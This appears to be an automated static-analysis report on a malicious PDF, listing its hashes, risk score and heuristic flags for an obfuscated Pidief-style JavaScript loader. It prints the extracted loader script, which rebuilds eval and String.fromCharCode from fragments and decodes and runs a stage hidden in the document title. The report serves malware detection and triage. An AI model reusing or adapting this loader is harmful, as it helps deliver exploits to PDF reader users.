Malicious PDF — malware analysis report

Static analysis result for SHA-256 c952f562804f6f23…

MALICIOUS

PDF

44.8 KB First seen: 2026-05-08
MD5: 868b9e57abfed5bc34b9dd34286fcd0f SHA-1: 480d4416ee18b9cc08436a409767ea75463e55b9 SHA-256: c952f562804f6f2375ecf8b727d53dc9d786d3d1c9e3343adc722c6927183823
86 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB095 491 bytes
SHA-256: 896f87791274abf30ba5890b86a87c09fe0cb3284a8272dd0f7304c199dae013
Preview script
First 1,000 lines of the extracted script
rzbrk='';
v='s'+'u';
try{try{qwe()}catch(a){gsdg()}}catch(e){v+='b'+'st';qqq='split';}
qwe = ('webweb',v)[v+'r'];
t='le';
b='v';
a=["e","a","n","b","w",b,'r'];
e=(t,qwe)()[a[0]+b+a[1]+(a,t[0])];
rrwsr=e('ti'+'tle');
s=rrwsr.substr(t.length + 8,3)+'str';
q=rrwsr[s](1,(1,t.length + 7));
zqqg=e('S'+'tring.fro'+q);
q=rrwsr[s](14)[qqq]('u');
k=q.length;
for (i = 0; i != k; i+=2) {
	ccql = parseInt(q[i+1]) + parseInt(('erybjkerl',q[i]));
	rzbrk += zqqg(ccql);
}
e(rzbrk);

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